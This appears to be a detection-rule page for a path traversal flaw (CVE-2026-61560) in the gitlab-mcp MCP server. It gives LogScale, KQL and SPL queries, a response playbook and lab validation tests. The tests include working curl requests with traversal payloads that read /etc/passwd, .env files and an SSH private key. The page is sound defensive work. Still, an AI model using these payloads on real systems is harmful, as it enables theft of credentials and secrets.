Detect @zereight/mcp-gitlab Unauthenticated Path Traversal Arbitrary File Read (CVE-2026-61560) in CrowdStrike LogScale
Detects exploitation of CVE-2026-61560, an unauthenticated path traversal (CWE-22) in the @zereight/mcp-gitlab (gitlab-mcp) MCP server prior to v2.1.27. The `upload_markdown` tool fails to sanitize file paths, allowing an attacker to read arbitrary files from the host via directory traversal sequences. This is commonly abused to exfiltrate GitLab Personal Access Tokens (PATs), MCP configuration files, and environment secrets stored on disk, leading to full GitLab account takeover. CVSS 9.8; public PoC available. Detection focuses on traversal patterns (`../`, encoded variants, absolute sensitive paths) hitting the MCP server's HTTP/stdio interface, process reads of sensitive files by the node/mcp-gitlab process, and outbound token exfiltration.
MITRE ATT&CK
LogScale Detection Query
#event_simpleName=/^(NetworkConnect|ProcessRollup2|ScriptControl)$/
| (CommandLine=/upload_markdown/i OR HttpUrl=/upload_markdown/i)
| (CommandLine=/(\.\.\/|\.\.%2f|%2e%2e%2f)/i OR HttpUrl=/(\.\.\/|\.\.%2f|%2e%2e%2f)/i)
| FileName=/node|mcp-gitlab|gitlab-mcp/i
| groupBy([aid, ComputerName], function=collect([CommandLine, HttpUrl, timestamp])) CrowdStrike CQL/LogScale search for node/mcp-gitlab process or network telemetry containing upload_markdown with traversal sequences.
Data Sources
Required Tables
False Positives & Tuning
- Endpoint security testing generating traversal payloads.
- Legitimate node processes handling markdown with relative paths.
- Sanctioned red-team exercises.
Other platforms for CVE-2026-61560
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1upload_markdown path traversal to /etc/passwd
Expected signal: Web/proxy log entry for POST /tools/upload_markdown with '../../../../etc/passwd' payload; file-open event for /etc/passwd by node process.
- Test 2URL-encoded traversal for .env exfiltration
Expected signal: Access log with %2f-encoded traversal targeting .env; MCP application log records the request.
- Test 3Traversal to read SSH private key
Expected signal: Network HTTP event and file-open on id_rsa by the node/mcp-gitlab process.
References (8)
- https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-cv3r-c5h8-f4g5
- https://nvd.nist.gov/vuln/detail/CVE-2026-61560
- https://github.com/zereight/gitlab-mcp/pull/482
- https://github.com/zereight/gitlab-mcp/pull/554
- https://github.com/zereight/gitlab-mcp/pull/622
- https://github.com/zereight/gitlab-mcp/commit/e436ee4ad067b64584ec9312c9e9c9a2641c1976
- https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27
- https://github.com/advisories/GHSA-cv3r-c5h8-f4g5
Response Playbook
Triage
- Confirm the running version of @zereight/mcp-gitlab on the host (`npm ls @zereight/mcp-gitlab` or check package.json/lockfile); versions < 2.1.27 are vulnerable.
- Extract the full traversal payload from the alert and resolve which file(s) were targeted (e.g. /etc/passwd, .env, PAT/credential stores).
- Determine whether the MCP server is exposed unauthenticated to the network or only via local stdio; network exposure sharply raises severity.
- Correlate the source IP against expected clients and check whether the same IP issued multiple traversal attempts or scanned other endpoints.
Containment
- Upgrade @zereight/mcp-gitlab to v2.1.27 or later immediately, or take the MCP server offline until patched.
- Rotate all GitLab Personal Access Tokens and any secrets stored in files reachable by the MCP process, as they must be presumed compromised.
- Restrict network access to the MCP server (bind to localhost / firewall) and require authentication in front of it.
Evidence Collection
- Preserve web/proxy/MCP application logs showing the upload_markdown requests, source IPs, and returned response sizes/status codes.
- Capture the MCP server process file-access audit records (auditd/EDR) showing which sensitive files were opened after the request.
- Snapshot the host filesystem state and the .env / credential files that were targeted for later comparison and forensic timeline.
Escalation Criteria
- !Escalate to incident response if a 200/successful response returned contents of a credential file or if PATs were subsequently used from an unexpected IP.
- !Escalate to GitLab platform owners if exfiltrated PATs show authenticated API activity (repo clones, new tokens, membership changes) indicating account takeover.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web/proxy access logs containing upload_markdown requests with traversal sequences and their response sizes. - >
auditd/EDR file-open records for the node/mcp-gitlab process touching /etc/passwd, .env, id_rsa, or credential stores. - >
GitLab audit events showing PAT usage from anomalous source IPs after the exploitation window.
Tuning Guidance
Baseline the legitimate clients and IPs that call the MCP server so scanner and automation noise can be excluded. If markdown documents frequently contain literal '../' strings, tighten the detection to require both a traversal sequence AND a sensitive-file target (as the sensitive flag does) before alerting. Once all servers are confirmed >= v2.1.27, downgrade to hunting-only.
Hunting Queries
Retrospective hunt for any upload_markdown request containing traversal sequences or sensitive-path references across MCP and web logs.
Syslog | where ProcessName has_any ("node","mcp-gitlab") | where SyslogMessage has "upload_markdown" and SyslogMessage has_any ("../","%2e%2e","/etc/",".env") | project TimeGenerated, HostName, SyslogMessage index=mcp OR index=web "upload_markdown" | regex _raw="(?i)(\.\.\/|%2e%2e%2f)" | stats count values(_raw) by src_ip Atomic Red Team Tests
Sends a crafted upload_markdown request with directory traversal to read /etc/passwd from a lab gitlab-mcp instance.
Command
curl -s -X POST http://127.0.0.1:3000/tools/upload_markdown -H 'Content-Type: application/json' -d '{"filename":"../../../../etc/passwd","content":"x"}' Cleanup
echo 'no cleanup required; read-only request' Expected Telemetry
Web/proxy log entry for POST /tools/upload_markdown with '../../../../etc/passwd' payload; file-open event for /etc/passwd by node process.
Expected Detection
KQL/SPL traversal rules fire with HitSensitive/sensitive=1 for /etc/passwd.
Uses URL-encoded traversal sequences to attempt reading an application .env file.
Command
curl -s 'http://127.0.0.1:3000/tools/upload_markdown?filename=..%2f..%2f..%2f.env' Cleanup
echo 'no cleanup required' Expected Telemetry
Access log with %2f-encoded traversal targeting .env; MCP application log records the request.
Expected Detection
Encoded-traversal patterns (..%2f/%2e%2e%2f) matched by all seven dialects; sensitive flag set for .env.
Attempts to read an id_rsa private key via traversal on macOS lab host running the MCP server.
Command
curl -s -X POST http://127.0.0.1:3000/tools/upload_markdown -H 'Content-Type: application/json' -d '{"filename":"../../../../Users/lab/.ssh/id_rsa","content":"x"}' Cleanup
echo 'no cleanup required' Expected Telemetry
Network HTTP event and file-open on id_rsa by the node/mcp-gitlab process.
Expected Detection
Traversal + id_rsa sensitive-target match triggers the network-then-file sequence rule (EQL) and single-event rules.